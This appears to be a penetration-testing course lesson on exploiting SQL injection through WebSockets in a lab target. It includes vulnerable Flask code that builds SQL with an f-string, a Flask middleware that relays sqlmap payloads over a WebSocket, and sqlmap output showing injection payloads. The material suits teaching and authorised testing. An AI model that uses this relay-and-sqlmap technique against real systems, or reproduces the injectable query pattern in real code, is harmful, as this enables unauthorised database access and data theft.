Modern Web Exploitation Techniques
Exploiting SQLi via WebSockets
Inserting unsanitized user input from WebSocket connections into SQL queries can lead to SQL injection (SQLi) vulnerabilities, as with HTTP requests. However, due to the lack of WebSockets support in many exploitation tools, abusing WebSockets SQLi vulnerabilities can often be more challenging.
Code Review - Identifying the Vulnerability
Instead of enabling us to send messages to other users, this section's web application only displays messages that are available to a given user. For instance, when the username htb-stdnt is provided, two messages are displayed:
Providing an invalid username, such as doesnotexist, results in an error message:
Let us analyze the web application's source code to understand how it functions. There is a WebSocket endpoint to handle usernames a client sends:
@sock.route('/dbconnector')
def dbconnector(sock):
while True:
response = {}
try:
data = sock.receive(timeout=1)
if not data:
continue
username = json.loads(data).get('username', '')
response["username"] = username
messages = query(username)
if not messages:
response['error'] = "No messages for this user!"
else:
response['messages'] = [msg[0] for msg in messages]
sock.send(json.dumps(response))
except Exception as e:
response['error'] = "An error occured!"
sock.send(json.dumps(response))
Upon receiving data via the WebSocket connection, the server attempts to parse it as a JSON string; then, it passes the username property to the query function (in case there are no errors, the result is returned to the client as a JSON object). If we scrutinize the query function, we can identify an evident SQLi vulnerability:
def query(username):
mydb = mysql.connector.connect(
host="127.0.0.1",
user="db",
password="db-password",
database="db"
)
mycursor = mydb.cursor()
mycursor.execute(f'SELECT message FROM users WHERE username="{username}"')
return mycursor.fetchall()
Debugging the Code Locally
To run the Python web application locally, we must install the three dependencies using pip: Flask, flask-sock, and mysql-connector-python.
The web application attempts to connect to a MySQL instance on localhost; instead of installing a MySQL server on our local machine, we can make use of a MySQL Docker container with the following parameters:
[!bash!]$ docker run -p 3306:3306 -e MYSQL_USER='db' -e MYSQL_PASSWORD='db-password' -e MYSQL_DATABASE='db' -e MYSQL_ROOT_PASSWORD='db' mysql
This creates a new MySQL server for us with the credentials given in the source code. However, the database is empty. Since we only want to confirm the SQLi vulnerability, this is fine for our use case. However, in other scenarios, seeding the database with sample/dummy data allows us to test the local instance more thoroughly.
After changing the port to a non-privileged one, we can start the web application and access it locally. To confirm the SQLi vulnerability, we will use " UNION SELECT "1 as the username:
Exploitation
sqlmap is the tool of the trade for exploiting SQLi vulnerabilities; however, sometimes, it has trouble handling WebSocket connections. Therefore, we will write a middleware on our local machine that receives the SQLi payload from sqlmap in an HTTP request parameter, opens a WebSocket connection to the vulnerable web application, and forwards the payload via it. This allows us to use sqlmap for WebSocket connections. While sqlmap can handle WebSocket connections independently, this approach allows us more control over the WebSocket handshake. It is thus applicable to a broader variety of web applications.
To develop the middleware, we must install two packages using pip: Flask and websocket. The middleware is a simple Flask web application consisting of a single endpoint that parses the username GET parameter and forwards the data in the correct JSON format to the vulnerable web application through a WebSocket connection:
from flask import Flask, request
from websocket import create_connection
import json
app = Flask(__name__)
WS_URL = 'ws://172.17.0.2/dbconnector'
@app.route('/')
def index():
req = {}
req['username'] = request.args.get('username', '')
ws = create_connection(WS_URL)
ws.send(json.dumps(req))
r = json.loads(ws.recv())
ws.close()
if r.get('error'):
return r['error']
return r['messages']
app.run(host='127.0.0.1', port=8000)
Afterward, we will run sqlmap to exploit the SQLi vulnerability, pointing it towards the middleware:
[!bash!]$ sqlmap -u http://127.0.0.1:8000/?username=htb-stdnt
sqlmap identified the following injection point(s) with a total of 70 HTTP(s) requests:
---
Parameter: username (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=htb-stdnt' AND 1426=1426 AND 'pYBp'='pYBp
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=htb-stdnt' AND (SELECT 4655 FROM (SELECT(SLEEP(5)))yezp) AND 'EeMR'='EeMR
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: username=htb-stdnt' UNION ALL SELECT CONCAT(0x7171626a71,0x6c634b4f4c7662574678666a5164434a617349627972495247707456704761666e4f785766794c50,0x7178627071)-- -
---
[11:44:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
Changing WS_URL in the middleware to point to the remote system and running the same sqlmap command will exploit the vulnerable web application.
Note: We can attempt supplying the WebSocket URL directly to sqlmap.
Note: While we've demonstrated the exploitation of XSS and SQLi over WebSockets, it's worth noting that similar techniques can be applied to exploit other prevalent web vulnerabilities, including Command Injection or Local File Inclusion (LFI).
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
Table of Contents
Introduction to Modern Web Exploitation Techniques
Introduction to Modern Web Exploitation TechniquesDNS Rebinding
Introduction to DNS Rebinding SSRF Basic Filter Bypasses DNS Rebinding: SSRF Filter Bypass DNS Rebinding: Same-Origin Policy Bypass DNS Rebinding: Tools & PreventionSecond-Order Attacks
Introduction to Second-Order Attacks Second-Order IDOR (Whitebox) Second-Order IDOR (Blackbox) Second-Order LFI Second-Order Command InjectionWebSocket Attacks
Introduction to WebSockets WebSocket Analysis in Burp Exploiting XSS via WebSockets Exploiting SQLi via WebSockets Cross-Site WebSocket Hijacking (CSWH) WebSocket Attacks: Tools & PreventionSkills Assessment
Skills AssessmentMy Workstation
OFFLINE
/ 1 spawns left